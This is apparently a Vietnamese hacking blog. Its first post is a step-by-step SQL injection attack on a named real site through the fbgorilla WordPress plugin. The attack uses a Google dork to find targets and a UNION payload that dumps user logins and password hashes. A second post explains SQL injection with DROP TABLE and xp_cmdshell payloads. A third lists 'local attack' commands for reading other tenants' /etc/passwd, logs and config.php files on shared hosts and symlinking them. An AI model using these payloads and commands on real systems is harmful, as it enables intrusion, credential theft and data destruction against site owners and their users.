Free share all

san

- Vào google search với từ khóa<br />
<blockquote class="tr_bq">
inurl:wp-content/plugins/fbgorilla/game_play.php?id=</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH9gYloE1tdg0I78ne_jiXUL4tKqpqPvmy_VO1Q1HDbcZUqFiv8jwE0Y-0hbh0QlIKKUzcvyoJr2jTwl_lJKq4SK9lFID1GgSzuzXEZ6t-86DvmofK9LezYV5BnF0pc06S44s55ljF3ZdY/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH9gYloE1tdg0I78ne_jiXUL4tKqpqPvmy_VO1Q1HDbcZUqFiv8jwE0Y-0hbh0QlIKKUzcvyoJr2jTwl_lJKq4SK9lFID1GgSzuzXEZ6t-86DvmofK9LezYV5BnF0pc06S44s55ljF3ZdY/s1600/1.png" width="640" /></a></div>
<br />
<br />
- Chọn 1 victim. ở đây mình trọn link sau:<br />
<blockquote class="tr_bq">
http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49&pid=657538357599693&t=1385539112</blockquote>
<br />
- Xóa  <b>&pid=657538357599693&t=1385539112</b> ở link đi chỉ để lại đến chỗ <b>id=49</b>. Ta được link như sau<br />
<blockquote class="tr_bq">
http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49</blockquote>
- Thêm đoạn sau vào link<br />
<blockquote class="tr_bq">
and 4=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,/*!50000group_Concat(user_login,0x2f,user_pass)*/,4,5,6,7,8,9,10,11,12,13 from wp_users-- </blockquote>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-6KbltDQHZ4iAcMStG-nGG0i0Y_szmMGPS41bGc1Pj82b_EXAz2dHL5lpSgwWMMF50SaNdqVuk1EYTqPOoYNtxoLDGJBvk8nSEsCnZwhQOIU261lwXlPl2CT6YijCNhvLnbZDbaiv9WO4/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-6KbltDQHZ4iAcMStG-nGG0i0Y_szmMGPS41bGc1Pj82b_EXAz2dHL5lpSgwWMMF50SaNdqVuk1EYTqPOoYNtxoLDGJBvk8nSEsCnZwhQOIU261lwXlPl2CT6YijCNhvLnbZDbaiv9WO4/s1600/2.png" width="640" /></a></div>
<br />
- Và đây là kết quả <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJWhJPVGBeUsPWCz8ccOq7kKVhDcZN0oe9Ne6ZOw6smf7AfxKu8jx6ClU9pPKJulgxfL68mY1hgjKhpnlJ0vAJe3pm1VbIvlsa4XPfKEIq1bh62i9gPUgMl9upDRaVx7lsNEcg4rkZ5WJT/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJWhJPVGBeUsPWCz8ccOq7kKVhDcZN0oe9Ne6ZOw6smf7AfxKu8jx6ClU9pPKJulgxfL68mY1hgjKhpnlJ0vAJe3pm1VbIvlsa4XPfKEIq1bh62i9gPUgMl9upDRaVx7lsNEcg4rkZ5WJT/s1600/3.png" width="640" /></a></div>
<br />
<br />
Have fun. Ai lech ghi dùm cái nguồn.

Khai thác lỗi SQli trên plugin fbgorilla của wordpress

- Vào google search với từ khóa inurl:wp-content/plugins/fbgorilla/game_play.php?id= - Chọn 1 victim. ở đây mình trọn link sau: htt...

Đọc thêm »

san

<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMWWbLtuVw0Kz2ZwXlPeVt3Wf1U57xBKQxgQ3qoxVL_6Dw8sRt6EbHsHr8wguOs6fXATr9jn9GsQiMQ_6D8TyVlR-C60OHs3tUmMzQvUd3w9ngmr-_9fYEckqUtoqZmZxAGTE8amIFZett/s1600/sqli.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMWWbLtuVw0Kz2ZwXlPeVt3Wf1U57xBKQxgQ3qoxVL_6Dw8sRt6EbHsHr8wguOs6fXATr9jn9GsQiMQ_6D8TyVlR-C60OHs3tUmMzQvUd3w9ngmr-_9fYEckqUtoqZmZxAGTE8amIFZett/s1600/sqli.jpg" /></a></b></div>
<br />
<br />
<b>SQL injection</b> là một kỹ thuật cho phép những kẻ tấn công lợi dụng
 lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các
 thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào)
 và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho 
phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… 
trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang 
chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản 
lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, 
DB2, Sysbase...<br />
 <span class="mw-headline" id="C.C3.A1c_d.E1.BA.A1ng_l.E1.BB.97i_th.C6.B0.E1.BB.9Dng_g.E1.BA.B7p"> </span><br />
<span style="color: red;"><b><span class="mw-headline" id="C.C3.A1c_d.E1.BA.A1ng_l.E1.BB.97i_th.C6.B0.E1.BB.9Dng_g.E1.BA.B7p">I. Các dạng lỗi thường gặp</span><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"> </span></b></span><br />
<b><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">1. Không kiểm tra ký tự thoát truy vấn</span></b><br />
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"> Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">statement = "SELECT * FROM users WHERE name = '" + userName + "';"</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính xác theo một cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích khác hẳn so với mong muốn của tác giả đoạn mã trên. Ví dụ, ta nhập vào giá trị của biến userName như sau:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">a' or 't'='t</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />Khiến câu truy vấn có thể được hiểu như sau:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">SELECT * FROM users WHERE name = 'a' OR 't'='t';</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có thể được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t' luôn đúng. Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, tuy nhiên một số SQL API như mysql_query của php lại không cho phép điều đó vì lý do bảo mật. Điều này chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví dụ này minh họa bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM DATA WHERE 't' = 't';</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<b><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">2. Xử lý không đúng kiểu</span></b><br />
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc kiểu dữ liệu đầu vào. Điều này có thể xảy ra khi một trường số được sử dụng trong truy vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu vào để xác minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay không. Ví dụ như sau:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">statement:= "SELECT * FROM data WHERE id = " + a_variable + ";"</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập vào một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối, thay vì nhập vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví dụ, ta thiết lập giá trị của biến a_variable là:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">1;DROP TABLE users</span><br /><span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"></span></blockquote>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br />khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở dữ liệu, vì câu truy vấn hoàn chỉnh đã được hiểu là:<br /></span><br />
<blockquote class="tr_bq">
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n">SELECT * FROM DATA WHERE id=1;DROP TABLE users;</span></blockquote>
<b>3. Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu</b><br /><br />Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu, như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL. Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL injection thành công dựa trên những ký tự Unicode không thông thường ngay cả khi đầu nhập vào đang được thoát. <br />
<br /><b>4. Blind SQL injection</b><br /><br />Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công. Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng bit dữ liệu. Những kẻ tấn công còn có thể sử dụng một số công cụ để dò tìm lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn.<br />
<br /><b>5. Thay đổi giá trị điều kiện truy vấn</b><br /><br />Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.<br /><br />
<blockquote class="tr_bq">
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;</blockquote>
<br />Sẽ hiển thị một trang một cách bình thường, trong khi:<br /><br />
<blockquote class="tr_bq">
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;</blockquote>
<br />sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.<br />
<br /><b>6. Điều kiện lỗi</b><br />Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:<br /><br />
<blockquote>
SELECT 1/0 FROM users WHERE username='Ralph';</blockquote>
<br />Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại trong cơ sở dữ liệu.<br />
<br /><b>7. Thời gian trễ</b><br /><br />Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.<br />
<br /><span style="color: red;"><b>II. Một số dạng tấn công thường gặp với các ứng dụng web</b></span><br /><br />Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures<br />
<br />
<b>1. Dạng tấn công vượt qua kiểm tra lúc đăng nhập</b><br /><br />Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta có thể dùng 2 trang: 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người dùng như sau:<br /><br />- Trang nhập liệu: login.htm <br /><br />
<blockquote class="tr_bq">
<form action="ExecLogin.asp" method="post"> <br />  Username:  <input type="text" name="fUSRNAME"><br /> <br />  Password:  <input type="password" name="fPASSWORD"><br /> <br />  <input type="submit"> <br /></form></blockquote>
<br />- Trang xử lý nhập liệu: execlogin.asp<br /><br />
<blockquote>
<%<br />Dim vUsrName, vPassword, objRS, strSQL<br />vUsrName = Request.Form("fUSRNAME")<br />vPassword = Request.Form("fPASSWORD")<br />strSQL = "SELECT * FROM T_USERS " & _<br />"WHERE USR_NAME=' " & vUsrName & _<br />" ' and USR_PASSWORD=' " & vPassword & " ' "<br />Set objRS = Server.CreateObject("ADODB.Recordset")<br />objRS.Open strSQL, "DSN=..."<br />If (objRS.EOF) Then<br />Response.Write "Invalid login."<br />Else<br />Response.Write "You are logged in as " & objRS("USR_NAME")<br />End If<br />Set objRS = Nothing %></blockquote>
<br />Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi trong ngoặc sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là:('OR='). Lúc này, câu truy vấn sẽ được gọi thực hiện là:<br /><br />
<blockquote class="tr_bq">
SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' AND USR_PASSWORD= ''OR''=''</blockquote>
<br />Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.<br />
<br /><b>2. Dạng tấn công sử dụng câu lệnh SELECT</b><br /><br />Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:<br /><br />
<blockquote class="tr_bq">
    <%<br />    Dim vAuthorName, objRS, strSQL<br />    vAuthorName = Request("fAUTHOR_NAME")<br />    strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' "<br />    Set objRS = Server.CreateObject("ADODB.Recordset")<br />    objRS.Open strSQL, "DSN=..."<br />    …<br />    Set objRS = Nothing %> </blockquote>
<br />Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:<br /><br />
<blockquote class="tr_bq">
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)</blockquote>
<br />Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:<br /><br />
<blockquote class="tr_bq">
' DROP TABLE T_AUTHORS --</blockquote>
<br />Câu truy vấn sẽ thực hiện việc xóa bảng.<br />
<br /><b>3. Dạng tấn công sử dụng câu lệnh INSERT</b><br /><br />Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:<br /><br />
<blockquote class="tr_bq">
    INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')</blockquote>
<br />Nếu đoạn mã xây dựng câu lệnh SQL có dạng:<br /><br />
<blockquote>
<%<br />    strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "<br />    Set objRS = Server.CreateObject("ADODB.Recordset")<br />    objRS.Open strSQL, "DSN=..."<br />    …<br />    Set objRS = Nothing %> </blockquote>
<br />Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:<br /><br />
<blockquote class="tr_bq">
    ' + (SELECT TOP 1 FieldName FROM TableName) + '</blockquote>
<br />Lúc này câu truy vấn sẽ là:<br /><br />
<blockquote class="tr_bq">
    INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')</blockquote>
<br />Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là:<br /><br />
<blockquote class="tr_bq">
    SELECT TOP 1 FieldName FROM TableName </blockquote>
<br /><b>4. Dạng tấn công sử dụng stored-procedures</b><br />Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: '; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. <br />
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><br /></span>
<span class="mw-headline" id="Kh.C3.B4ng_ki.E1.BB.83m_tra_k.C3.BD_t.E1.BB.B1_tho.C3.A1t_truy_v.E1.BA.A5n"><b>Theo wikipedia</b></span>

Chap 18 - Những kiến thức cơ bản để trở thành hacker : Khái niệm cơ bản SQL Injection

SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web ...

Đọc thêm »

san

<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<b><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjquAt1itQysoHYAXV8uGhC8X7zGw0owdG1WFYCvhfpT0JeiZujq79Nb42-CBbKubu4u8p_WRcGYNYEbEUZj6Q8AqH4ZLwAW2Yb7u5ieX1DUy8b7rTy0dVletY9gGkboI5d102ojisoWawu/s1600/index.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjquAt1itQysoHYAXV8uGhC8X7zGw0owdG1WFYCvhfpT0JeiZujq79Nb42-CBbKubu4u8p_WRcGYNYEbEUZj6Q8AqH4ZLwAW2Yb7u5ieX1DUy8b7rTy0dVletY9gGkboI5d102ojisoWawu/s1600/index.jpg" /></a></b></div>
<br />
<br />
<span style="color: red;"><b> 1. Xem tên domain trên cùng 1 host</b></span><br />
<blockquote class="tr_bq">
ls -la /etc/valiases<br />
cd /etc/vdomainaliases;ls -lia</blockquote>
<br />
- Trường hợp đặc biết khi không thể xem user nằm cùng host thì thêm && vào<br />
<blockquote class="tr_bq">
cd /etc/vdomainaliases && ls -lia</blockquote>
<span style="color: red;"><b>2. Xem tên user</b></span><br />
<blockquote class="tr_bq">
cat /etc/passwd<br />
less /etc/passwd<br />
more /etc/passwd</blockquote>
<blockquote class="tr_bq">
tail /etc/passwd<br />
rev /etc/passwd<br />
tac /etc/passwd </blockquote>
<br />
- Ngoài ra ta có thể dùng lệnh sau để xem user<br />
<br />
<b>+ Với cpanel</b><br />
<blockquote class="tr_bq">
 ls -la /etc/valiases/domain.com</blockquote>
Thay domain.com bằng tên miền của site bạn muốn xem user<br />
ví dụ: <br />
<blockquote class="tr_bq">
ls -la /etc/valiases/quylevhb.com</blockquote>
<br />
<b>+ Với Directadmin</b><br />
<blockquote class="tr_bq">
 cat /etc/virtual/domainowners</blockquote>
 <b>- </b>Còn rất nhiều cách để tìm user của victim như xem error log …<br />
<blockquote>
<div style="text-align: left;">
tail -n 10000 /var/log/httpd/domains/domain.com.error.log</div>
<div style="text-align: left;">
cat /usr/local/apache/logs/error_log | grep “domain.com” >>”user.txt”</div>
</blockquote>
<div style="text-align: left;">
<b>* Đối với nginx</b></div>
<blockquote>
<div style="text-align: left;">
cat /var/log/nginx/error_log</div>
</blockquote>
<div style="text-align: left;">
<b>Hoặc</b></div>
<blockquote>
<div style="text-align: left;">
cat /var/log/nginx/domain.com.error.log</div>
</blockquote>
<br />
<br />
<span style="color: red;"><b>3. Local sang victim</b></span><br />
<blockquote class="tr_bq">
dir /path</blockquote>
 Path: là đường dẫn đến thư mục cần xem <br />
ví dụ:<br />
<blockquote class="tr_bq">
dir /home/quylevhb/public_html</blockquote>
<br />
<span style="color: red;"><b>4. Xem nội dung file</b></span><br />
<blockquote class="tr_bq">
cat /path/tên-file.php</blockquote>
ví dụ:<br />
<blockquote class="tr_bq">
cat /home/quylevhb/public_html/config.php</blockquote>
<br />
<span style="color: red;"><b>5. Symlink</b></span><br />
<blockquote class="tr_bq">
ln -s /path/tên-file quylevhb.txt</blockquote>
ví dụ:<br />
<blockquote class="tr_bq">
ln -s /home/quylevhb/public_html/config.php quylevhb.txt</blockquote>
<br />
<span style="color: red;"><b>6. Một số lệnh khác</b></span><br />
<blockquote class="tr_bq">
- mkdir:  Tạo thư mục<br />
- touch: tạo file<br />
- cp: copy file<br />
- mv: di chuyển file hoặc thư mục<br />
- rm: Xóa file<br />
- rmdir: xóa thư mục</blockquote>

Một số lệnh thông dụng trong local attack

1. Xem tên domain trên cùng 1 host ls -la /etc/valiases cd /etc/vdomainaliases;ls -lia - Trường hợp đặc biết khi không thể xem ...

Đọc thêm »

san

Tool bút 2D phác họa chân dung online

Share by tubotocdo DOWNLOAD Pass unrar: quylevhb.blogspot.com

Đọc thêm »

san

<h3 style="background-color: #fcfcfc; color: #353535; font-family: Arial,Helvetica,"Nimbus Sans L",sans-serif; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;">
<b><span style="font-size: small;"> <div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYuHoyv7hZyu6GIoZwqBfHVnaPQwibhJCR99KleQ48ZER9PnjVoO0jagsRH8bFLGEzVMgevqeg1kCm2xGfSgTwWXZy_BG5Y-yPAg6SbKlB86a9VJV13RD09aW0bf94k0CECerqY_earWU/s1600/screen3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUYuHoyv7hZyu6GIoZwqBfHVnaPQwibhJCR99KleQ48ZER9PnjVoO0jagsRH8bFLGEzVMgevqeg1kCm2xGfSgTwWXZy_BG5Y-yPAg6SbKlB86a9VJV13RD09aW0bf94k0CECerqY_earWU/s1600/screen3.png" width="400" /> </a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.boxbilling.com/demo" rel="nofollow" target="_blank"> DEMO</a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.boxbilling.com/docs/" rel="nofollow" target="_blank">DOCUMENT </a></div>
</span></b><b><span style="font-size: small;"><div class="separator" style="clear: both; text-align: center;">
<a href="http://adf.ly/140vHE" rel="nofollow" target="_blank"><span style="font-weight: normal;">DOWNLOAD</span></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
</span></b></h3>
<h3 style="background-color: #fcfcfc; color: #353535; font-family: Arial,Helvetica,"Nimbus Sans L",sans-serif; font-stretch: normal; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 1.5em; margin: 0px 0px 18px; padding: 0px; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;">
<b><span style="font-size: small;">BoxBilling is a free billing & client management software</span></b></h3>
